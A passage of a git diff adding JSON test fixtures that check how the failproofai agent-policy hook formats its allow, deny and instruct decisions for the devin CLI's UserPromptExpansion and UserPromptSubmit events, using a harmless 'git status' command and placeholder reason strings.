"TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..7b634938 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e3843909 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..425d63f6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..8baf33af --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4cc2b65b --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b3d2da53 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9c091101 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..54960d26 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b82a2f3f --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f2c0313b --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b150c064 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..715f7888 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..197d19d8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a654f07b --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..12747339 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2af84ec8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..48b8dd0b --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..36dbba4b --- /dev/null +++ b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file 